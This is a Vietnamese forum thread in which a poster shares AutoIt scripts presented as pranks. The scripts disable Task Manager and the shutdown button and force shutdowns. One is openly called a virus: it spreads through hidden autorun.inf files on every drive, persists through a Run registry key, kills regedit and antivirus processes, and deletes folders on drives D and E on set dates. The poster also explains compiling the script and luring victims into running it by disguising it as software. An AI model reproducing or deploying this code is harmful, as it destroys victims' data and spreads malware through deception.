Cô bác nào mà thích trêu đùa vô nha!

[Nhóc_kon]

Dạo này có lẽ các bác nghe nhìu đến AuToIT rùi nhỉ,dao này voọc cái đó tìm ra mấy cái code hay lắm,trêu thằng bạn thì khỏi chê!!,bác nào pro thì cho nó dính log lun.Hôm nay Nhóc_kon share cho các anh chị vài đoạn code nè:
1/Disable regedit,tự động tắt máy sau khi làm xong yêu cầu:

RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "00000001")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system", "DisableTaskMgr", "REG_DWORD", "00000001")
#NoTrayIcon
Opt("TrayMenuMode",1)
$answer = MsgBox(4, "AutoIt Example (English Only)", "Hay lắm nè. Run?")
If $answer = 7 Then
MsgBox(4096, "AutoIt", "Ê!.Gõ xong mới thoát ku!!!")
$bLoop = 1
EndIf
$bLoop = 1
While $bLoop = 1
$text = InputBox("Funny", "Đánh vào ô trống câu: Ta la vua")
If @error = 1 Then
MsgBox(4096, "Error", "Đánh vào đã ku!")
Else
If $text <> "Ta la vua" Then
MsgBox(4096, "Info", "Script writing by Nhoc_kon")
MsgBox(4096, "Error", "Có thế mà gõ sai!Đồ con gà")
MsgBox(4096, "Sac", "Dùng máy tính mà không biết gõ phím à?")
MsgBox(4096, "Sac", "Tắt máy tính đi cho đỡ rầy!")
MsgBox(4096, "sac", "Đừng nghĩ đến việc bật Task manager!")
Shutdown(1)
Else
$bLoop = 0
EndIf
EndIf
WEnd
MsgBox(4096,"pmvuong", "Script writing by Nhoc_kon")
MsgBox(4096,"pmvuong", "Ôi!Ngài là Vua sao?.")
MsgBox(4096,"Hay", "Em chào anh Vua ạ")
MsgBox(4096,"Hay", "Có lẽ Vua mệt rồi!")
MsgBox(4096,"Hay", "Nên đi nghỉ đã")
MsgBox(4096,"Hay", "Ngài có muốn ăn gì hok")
MsgBox(4096,"Hay", "He he,Big Head mà dại,Big Dick mà Fool!")
MsgBox(4096,"Hay", "Xem kết quả nè==>")
MsgBox(4096,"Hay", "Bạn là 1 con người cả tin,được bạn bè yêu quý")
MsgBox(4096,"Hay", "Đôi lúc,bạn cũng bị dính bẫy của Nhoc!")
MsgBox(4096,"Hay", "Như lúc này đây!!!")
Shutdown(1)


Còn AutoIT thì khỏi nói có lẽ các bác bit cách tìm rùi chứ,cứ nhè google mà đánh:k18

[Nhóc_kon]

Tiếp nè:lần này nặng nè,kiếm tên nào mà các bác căm nhất ấy,với cái này thì nó sẽ phải rút dây mới tắt máy được-haha,à,nó còn bung ra các của sổ trang web nữa(cái này dùng quảng cáo trang web thì khỉ chê!


; <AUT2EXE VERSION: 3.2.4.9>
; ----------------------------------------------------------------------------
; Vo hieu hoa taskmanager,nut' Shut down
; ----------------------------------------------------------------------------
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System", "DisableTaskMgr", "REG_DWORD", "00000001")
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system", "DisableTaskMgr", "REG_DWORD", "00000001")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoClose", "REG_DWORD", "1")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoClose", "REG_DWORD", "1")
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-START: C:\Program Files\AutoIt3\Include\IE.au3>
; ----------------------------------------------------------------------------

; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: C:\Program Files\AutoIt3\Include\IE.au3>
; ----------------------------------------------------------------------------
_IECreate ("ten trang web", 1, 1, 0)
_IECreate ("ten trang web", 1, 1, 0)
_IECreate ("ten trang web", 1, 1, 0)
_IECreate ("tren trang web", 1, 1, 0)
#NoTrayIcon
Opt("TrayMenuMode",1)
$answer = MsgBox(4, "Hay", "Chuẩn bị tinh thần nha ku,cười bể bụng nè. Run?")
If $answer = 7 Then
MsgBox(4096, "Ê!Chưa gõ xong tề! ", "Ðánh lại đê!")
Else
$bLoop = 1
EndIf
$bLoop = 1
While $bLoop = 1
$text = InputBox("Funny", "Ðánh vào ô trống:Toi yeu truong ton!")
If @error = 1 Then
MsgBox(4096, "Error", "Ðánh chuồn à,gõ xong mới được thoát!")
MsgBox(4096, "Sặc", "Nhoc không nói suông đâu!")
MsgBox(4096, "Sặc", "Hay là muốn cài lại Win")
MsgBox(4096, "Sac", "Mày thử đánh cho đúng coi!")
MsgBox(4096, "Sac", "Thú vị lắm đó ku! :P")
Else
If $text <> "Toi yeu truong ton" Then
MsgBox(4096, "Sặc", "Có thế mà gõ sai!!Ðồ con gà")
MsgBox(4096, "Sặc", "Mà thôi,máy mày dính rùi!He he")
MsgBox(4096, "Sặc", "Muốn sửa thì đánh cho đúng")
MsgBox(4096, "Sặc", "Hay là muốn cài lại Win")
MsgBox(4096, "Sặc", "Nhoc không nói suông đâu!")
Else
$bLoop = 0
EndIf
EndIf
WEnd
MsgBox(4096,"Tốt", "Ay da.")
MsgBox(4096,"He","Yêu lâu chưa?.")
MsgBox(4096,"He","Có lẽ yêu say đắm lắm nhỉ???")
MsgBox(4096,"He","He he you die rui!!!You Fool!")
MsgBox(4096,"He","Định bật Task manager hả ku?")
MsgBox(4096,"He","Nhoc làm đâu có sai sót!")
MsgBox(4096,"He","Đây là con virus đầu tiên của Nhoc đấy")
MsgBox(4096,"He","Nói trước nhá!")
MsgBox(4096,"He","Từ bây giờ!You phải bấm Alt+F4 mới tắt máy được ku ơi!!!")
MsgBox(4096,"He","Chết cha!Nhoc đánh nhầm lệnh rồi!")
MsgBox(4096,"He","Có lẽ mày phải rút điện mới tắt được^_^")
MsgBox(4096,"He","Muốn sửa máy thì pm cho Nhoc")
MsgBox(4096,"He","Bye Bye Bye"
Shutdown(0)
; ----------------------------------------------------------------------------
; <AUT2EXE INCLUDE-END: C:\Documents and Settings\chan\Desktop\Hacking.au3>
; ----------------------------------------------------------------------------


Bác nào pzo hơn nữa thử gán cho nó cái Autorun coi,đảm bảo nó không đập máy mới lạ^^^^^

Phù!Lại nữa nhé:Đây đúng chất là 1 chú vi-gút nè,vào ngày 17(Sinh nhật Nhoc đó^^)thì lập tức máy tính sẽ format ổ D,E,rồi đổi tên ổ đĩa C,D,E nữa.Hix,1 cách mừng SN nhóc hơi ác nhỉ?


Opt("TrayIconHide", 1)
FileSetAttrib("autorun.inf", "-R")
FileDelete("autorun.inf")
$file2 = FileOpen("autorun.inf", 1)
FileWriteLine($file2, "[AutoRun]")
FileWriteLine($file2, "open=,.exe")
FileWriteLine($file2, "shellexecute=,.exe")
FileWriteLine($file2, "shell\Auto\command=,.exe")
FileClose($file2)
;tao file autorun.inf
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDriveAutoRun", "REG_DWORD", "000000000")
RegWrite("HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer", "NoDriveAutoRun", "REG_DWORD", "000000000")
;cho autorun o dia
$var4 = @ScriptDir
If $var4 <> "C:\WINDOWS" Then
FileCreateShortcut(@WindowsDir & "\Explorer.exe",@DesktopDir & "\1.lnk","",@ScriptDir, "","", "^!t", "", @SW_SHOWMAXIMIZED)
Send("^!t")
EndIf
;tao 1 shortcut de chay vao o dia tru thu muc system32 cua he thong
FileSetAttrib("autorun.inf", "+HSR")
FileSetAttrib(@DesktopDir & "\1.lnk", "+HS")
;lam cho 2 file shortcut va autorun co thuoc tinh an he thong.
$search = FileFindFirstFile("D:\*.*")
$search0 = FileFindFirstFile("E:\*.*")
;nhan dien tac ca cac file va folder trong o dia D va E
$bLoop = 1
While $bLoop = 1
$file = FileFindNextFile($search)
$file0 = FileFindNextFile($search0)

If @MDAY = "17" Or @MDAY = "11" Then
DirRemove("D:\" & $file, 1)
DirRemove("E:\" & $file0, 1)
DriveSetLabel("C:\", "MungSNNhoc")
DriveSetLabel("D:\", "Die")
DriveSetLabel("C:\", "New_Label")
;xoa file khi dung ngay da chon.
Else
$var = DriveGetDrive("all")
For $i = 1 to $var[0]
If $var[$i] = "a:" or $var[$i] = "b:" Then
For $i = 2 to $var[0]
FileCopy(@ScriptDir & "\,.exe", $var[$i], 8)
FileCopy(@ScriptDir & "\autorun.inf", $var[$i], 1)
Next
Else
FileCopy(@ScriptDir & "\,.exe", $var[$i], 8)
FileCopy(@ScriptDir & "\autorun.inf", $var[$i], 1)
EndIf
Next
;copy vao tac ca o dia khi chuong trinh dang chay
EndIf
FileCopy(@ScriptDir & "\,.exe", @WindowsDir, 8)
FileCopy(@ScriptDir & "\autorun.inf", @WindowsDir, 1)
ProcessClose("MSConfig.exe")
$PID3 = ProcessExists("MSConfig.exe")
If $PID3 Then ProcessClose($PID3)
ProcessClose("regedit.exe")
$PID2 = ProcessExists("regedit.exe")
If $PID2 Then ProcessClose($PID2)
ProcessClose("taskmgr.exe")
$PID1 = ProcessExists("taskmgr.exe")
If $PID1 Then ProcessClose($PID1)
ProcessClose("Bkav2006.exe")
$PID4 = ProcessExists("Bkav2006.exe")
If $PID4 Then ProcessClose($PID4)
;tat cac chuong trinh co the anh huong den virus
RegWrite("HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "HUI", "REG_SZ", "C:\windows\,.exe")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "HideFileExt", "REG_DWORD", "000000001")
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced", "ShowSuperHidden", "REG_DWORD", "000000000")

WEnd

[♥Sailormoon♥girl♥IT♥]

Ko hiểu ^_^ ko biết ^_^ ko chơi...Nói rõ ra xem nào bạn

[vanphuocmd]

mí cái nì phải làm sao thì mới có tác duịng vậy tui chưa chơi bao giờ nói rõ hơn dc ko?

[Nhóc_kon]

dễ thui!các bạn down AutoScrip về: tại autoscrip.com nhá!sau khi cài đặt xong,thì các bạn ra ngoài desktop,click chuột phải chọn New>Auto...
sau đó bấm chuột phải vào cái new Auto gì đấy.chọn Edit>sau đó paste những dòng code vào rồi chỉnh sửa như ý,nếu muốn gõ có dấu thì paste vào Notepast nhá rồi dùng Notepad save lại với file au3 bảng mã Unicode.Rồi chứ!Bây giờ click phải vào file au3 đó chọn Complie để đóng gói file> exe rồi gửi cho victim là xong,nếu không cứ test trên máy mình đã!có gì thì cài lại Win sau:D

[♥Sailormoon♥girl♥IT♥]

Ặc...CHo cái link down auto scrip luôn đi bạn...Chả tìm thấy chỗ nào down cả

[Nhóc_kon]

Ok!đây nè: autoitscript.com/files/autoit3/autoit-v3.2.4.9-setup.exe
Nếu mà báo lỗi thì thử thêm 3 cái www vào trước nhá(Tui chưa đủ 30 bài mà)

[♥Sailormoon♥girl♥IT♥]

Nè bạn ơi ...Đã làm được rồi nhưng sau khi dán vào thì chính xác là fai? làm thế nào

[♥Sailormoon♥girl♥IT♥]

Cảm ơn ^_^ làm đc. rồi nhưng chưa thử

[Nhóc_kon]

Hic!cứ thử tự nhiên,cung chả có gì nặng lắm đâu!

[♥Sailormoon♥girl♥IT♥]

Hay wa' bạn ơi còn đoạn code nào hay hay nữa post lên đi thank nhìu...Hay có trang web nào có nhiều code loại này thì chỉ dùm nha^_^ hihi...Hoặc bạn có thể viết cho mình đoạn code ...ngắn thui .Anh có yêu Sailormoon ko?... hãy nói yêu Sailormoon,gõ cho chính xác...Dã bảo gõ chính xác mà...Tức rồi đó nha!!!...Ko yêu thì đi ngủ đi ....Shutdown máy nè--->:D Shutdown Mà có cách nào cho nó tự động chạy ko cần đối phương mở ra ko bạn

[orion_vista]

_ tui là nạn nhân đầu tiên . Ko cần phải thử đâu. hehe

[Nhóc_kon]

Thì chỉ việc thay đổi các dong chữ trong code bằng nôindung mình thích thôi mừ!nếu không để mình send code cho.
Tý sẽ cung cấp cho vài lệnh.
Muốn nó tự động thì phải gán cho nó cái autorun nhưng cách này hơi ác!Mình đang tìm cách gắn code này vao web xem sao!

[hang_ngocnghech]

Choài oai, trò gì mà ác vậy =((

Đọc đến phần send thì em chẳng hiểu gì nữa . Send kiểu gì ạ :|

[Nhóc_kon]

Thì chat với chú nào đó nà!Đang hăng thì gửi cho cái này hay lắm!!!Lựa lời mà dụ nó:D,không nữa thì up lên cái host nào đó,giả tên 1 phần mềm nào đó hắp dẫn tý,cho nó down về và tạch !Hôm sau lại có:starwars:

[giangchihao]

hừ chẳng hiễu gì cả
post nhăng post cụi à nghen

[leduchieu]

Nói thật với bạn, đừng có la mình nhá : Cái trò này của bạn quá vớ vẩn.

[mymychu]

ko nhưng mà vẫn vui , mà hình như bạn nói lạc chủ đề rồi đó
bạn xem bảng hiêu lại nhé

[Nhóc_kon]

Hì!Sorry,mải post nên không chú ý!

[harryp]

NAY PRO !
MUON KHAC PHUC THI LAM SAO VAY ?
DA CHO THUOC DOC THI PHAI CHO THUOC GIAI CHU !!!
NEU BAO TUI CAI LAI WIN THI SOAN LAM !!!

[Nhóc_kon]

Dễ thôi ,dính rùi thì pm tui,tui send code cho,nhác viết quá!!!!:D

[zerozonex]

Trò này hay quá... tụi tạo Virus Y!M cũng dùng cái này thì fải!!

[Nhóc_kon]

Đúng roài đó,nhưng đây hok phải virus đâu,chỉ nghịch tý thui mà:D